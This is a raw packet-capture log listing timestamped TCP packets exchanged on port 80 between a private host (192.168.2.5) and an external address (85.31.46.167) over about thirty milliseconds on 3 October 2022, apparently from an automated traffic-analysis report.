Oct 3, 2022 17:29:59.984239101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984241009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984272957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984275103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984308004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984313965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984343052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984375954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984378099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984378099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984405994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984411001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984436035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984441042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984464884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984472036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984497070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984500885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984528065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984532118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984560966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984565973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984592915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984599113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984627008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984628916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984677076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984679937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984709024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984714985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984741926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984747887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984775066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984783888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984807968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984812975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984843016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984846115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984877110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984880924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984909058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984915018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984944105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984950066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984980106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984982014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985014915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985019922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985049963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985054016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985085964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985120058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985121965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985146046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985156059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985157013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985192060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985193968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985225916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985232115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985261917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985264063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985294104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985297918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985327005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985333920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985363007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985363007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985394955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985399008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985423088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985445023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985451937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985465050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985481977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985487938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985513926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985517025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985548019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985584974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985585928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985585928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985619068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985622883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985651970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985656977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985685110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985691071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985721111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985723019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985754013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985755920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985788107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985788107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985825062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985841990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985858917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985861063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985892057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985896111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985925913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985929012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985960960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985964060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.985995054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.985996008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.986030102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013180971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013214111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013243914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013267040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013292074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013297081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013313055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013338089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013345957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013345957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013362885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013365984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013384104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013389111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013403893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013408899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013437986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013452053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013461113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013469934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013483047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013485909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013497114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013510942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013525963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013531923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013556957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013560057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013567924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013585091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013596058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013605118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013628960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013629913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013643980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013652086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013672113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013684988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013705969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013709068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013716936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013732910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013753891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013755083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013778925 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013778925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013792992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013808966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013818979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013834000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013849020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013859034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013885975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013890982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013905048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013914108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013933897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013953924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013958931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013967037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.013983011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.013993025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014004946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014022112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014029026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014040947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014050961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014070034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014075041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014084101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014097929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014108896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014121056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014133930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014144897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014153957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014169931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014179945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014193058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014202118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014215946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014225006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014239073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014249086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014261961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014272928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014285088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014296055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014307022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014322996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014331102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014344931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014355898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014369965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014379025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014390945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014401913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014415026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014425039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014436007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014462948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014488935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014492989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014511108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014512062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014528990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014533997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014544964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014558077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014579058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014588118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014600992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014604092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014622927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014625072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014643908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014646053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014663935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014669895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014682055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014693975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014703035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014715910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014724970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014738083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014751911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014760971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014770985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014782906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014795065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014805079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014821053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014842033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014844894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014864922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014902115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014902115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014919043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014939070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014955997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014981031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.014983892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.014997005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015007019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015024900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015044928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015050888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015062094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015068054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015083075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015086889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015110970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015110970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015132904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015139103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015156031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015156984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015173912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015180111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015192986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015202999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015212059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015227079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015233994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015249014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015261889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015271902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015281916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015295982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015305042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015319109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015327930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015341997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015348911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015364885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015377045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015387058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015394926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015409946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015419960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015431881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015441895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015455008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015469074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015477896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015490055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015501976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015513897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015523911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015535116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015547037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015558004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015568018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015584946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015594006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015603065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015618086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015635967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015640974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015661001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015665054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015672922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015687943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015697002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015711069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015719891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015728951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015743017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015754938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015768051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015780926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015798092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015819073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015841007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015845060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015866995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015876055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015892029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015896082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015914917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015922070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015938997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015942097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015957117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015983105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.015983105 CEST	49694	80	192.168.2.5	85.31.46.167
